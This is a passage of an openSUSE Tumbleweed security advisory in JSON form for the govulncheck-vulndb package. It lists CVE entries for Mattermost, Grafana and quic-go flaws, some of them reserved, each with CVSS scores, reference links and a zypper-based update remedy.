          "text": "https://www.suse.com/security/cve/CVE-2025-0913"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-0913",
          "url": "https://www.suse.com/security/cve/CVE-2025-0913"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1244157 for CVE-2025-0913",
          "url": "https://bugzilla.suse.com/1244157"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-0913"
    },
    {
      "cve": "CVE-2025-1792",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-1792"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mattermost versions 10.7.x \u003c= 10.7.0, 10.5.x \u003c= 10.5.3, 9.11.x \u003c= 9.11.12 fail to properly enforce access controls for guest users accessing channel member information, allowing authenticated guest users to view metadata about members of public channels via the channel members API endpoint.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-1792",
          "url": "https://www.suse.com/security/cve/CVE-2025-1792"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2025-1792"
    },
    {
      "cve": "CVE-2025-22874",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-22874"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-22874",
          "url": "https://www.suse.com/security/cve/CVE-2025-22874"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1244158 for CVE-2025-22874",
          "url": "https://bugzilla.suse.com/1244158"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-22874"
    },
    {
      "cve": "CVE-2025-25207",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-25207"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-25207",
          "url": "https://www.suse.com/security/cve/CVE-2025-25207"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-25207"
    },
    {
      "cve": "CVE-2025-25208",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-25208"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-25208",
          "url": "https://www.suse.com/security/cve/CVE-2025-25208"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-25208"
    },
    {
      "cve": "CVE-2025-2571",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-2571"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mattermost versions 10.7.x \u003c= 10.7.0, 10.6.x \u003c= 10.6.2, 10.5.x \u003c= 10.5.3, 9.11.x \u003c= 9.11.12 fail to clear Google OAuth credentials when converting user accounts to bot accounts, allowing attackers to gain unauthorized access to bot accounts via the Google OAuth signup flow.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-2571",
          "url": "https://www.suse.com/security/cve/CVE-2025-2571"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-2571"
    },
    {
      "cve": "CVE-2025-29785",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-29785"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "quic-go is an implementation of the QUIC protocol in Go. The loss recovery logic for path probe packets that was added in the v0.50.0 release can be used to trigger a nil-pointer dereference by a malicious QUIC client. In order to do so, the attacker first sends valid QUIC packets from different remote addresses (thereby triggering the newly added path validation logic: the server sends path probe packets), and then sending ACKs for packets received from the server specifically crafted to trigger the nil-pointer dereference. v0.50.1 contains a patch that fixes the vulnerability. This release contains a test that generates random sequences of sent packets (both regular and path probe packets), that was used to verify that the patch actually covers all corner cases. No known workarounds are available.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-29785",
          "url": "https://www.suse.com/security/cve/CVE-2025-29785"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1243936 for CVE-2025-29785",
          "url": "https://bugzilla.suse.com/1243936"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-29785"
    },
    {
      "cve": "CVE-2025-3230",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-3230"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mattermost versions 10.7.x \u003c= 10.7.0, 10.6.x \u003c= 10.6.2, 10.5.x \u003c= 10.5.3, 9.11.x \u003c= 9.11.12 fails to properly invalidate personal access tokens upon user deactivation, allowing deactivated users to maintain full system access by exploiting access token validation flaws via continued usage of previously issued tokens.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-3230",
          "url": "https://www.suse.com/security/cve/CVE-2025-3230"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-3230"
    },
    {
      "cve": "CVE-2025-3260",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-3260"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "A security vulnerability in the /apis/dashboard.grafana.app/* endpoints allows authenticated users to bypass dashboard and folder permissions. The vulnerability affects all API versions (v0alpha1, v1alpha1, v2alpha1).\n\nImpact:\n\n- Viewers can view all dashboards/folders regardless of permissions\n\n- Editors can view/edit/delete all dashboards/folders regardless of permissions\n\n- Editors can create dashboards in any folder regardless of permissions\n\n- Anonymous users with viewer/editor roles are similarly affected\n\nOrganization isolation boundaries remain intact. The vulnerability only affects dashboard access and does not grant access to datasources.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-3260",
          "url": "https://www.suse.com/security/cve/CVE-2025-3260"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "important"
        }
      ],
      "title": "CVE-2025-3260"
    },
    {
      "cve": "CVE-2025-3454",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-3454"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "This vulnerability in Grafana\u0027s datasource proxy API allows authorization checks to be bypassed by adding an extra slash character in the URL path.\n\nUsers with minimal permissions could gain unauthorized read access to GET endpoints in Alertmanager and Prometheus datasources.\n\nThe issue primarily affects datasources that implement route-specific permissions, including Alertmanager and certain Prometheus-based datasources.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-3454",
          "url": "https://www.suse.com/security/cve/CVE-2025-3454"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1241683 for CVE-2025-3454",
          "url": "https://bugzilla.suse.com/1241683"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-3454"
    },
    {
      "cve": "CVE-2025-3611",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-3611"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mattermost versions 10.7.x \u003c= 10.7.0, 10.5.x \u003c= 10.5.3, 9.11.x \u003c= 9.11.12 fails to properly enforce access control restrictions for System Manager roles, allowing authenticated users with System Manager privileges to view team details they should not have access to via direct API requests to team endpoints, even when explicitly configured with \u0027No access\u0027 to Teams in the System Console.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-3611",
          "url": "https://www.suse.com/security/cve/CVE-2025-3611"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2025-3611"
    },
    {
      "cve": "CVE-2025-3913",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-3913"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Mattermost versions 10.7.x \u003c= 10.7.0, 10.6.x \u003c= 10.6.2, 10.5.x \u003c= 10.5.3, 9.11.x \u003c= 9.11.12 fail to properly validate permissions when changing team privacy settings, allowing team administrators without the \u0027invite user\u0027 permission to access and modify team invite IDs via the /api/v4/teams/:teamId/privacy endpoint.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-3913",
          "url": "https://www.suse.com/security/cve/CVE-2025-3913"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-3913"
    },
    {
      "cve": "CVE-2025-4128",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-4128"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-4128",
          "url": "https://www.suse.com/security/cve/CVE-2025-4128"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "low"
        }
      ],
      "title": "CVE-2025-4128"
    },
    {
      "cve": "CVE-2025-4573",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-4573"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-4573",
          "url": "https://www.suse.com/security/cve/CVE-2025-4573"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "date": "2025-07-03T00:00:00Z",
          "details": "moderate"
        }
      ],
      "title": "CVE-2025-4573"
    },
    {
      "cve": "CVE-2025-4673",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2025-4673"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.ppc64le",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.s390x",
          "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2025-4673",
          "url": "https://www.suse.com/security/cve/CVE-2025-4673"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1244156 for CVE-2025-4673",
          "url": "https://bugzilla.suse.com/1244156"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:govulncheck-vulndb-0.0.20250612T141001-1.1.aarch64",
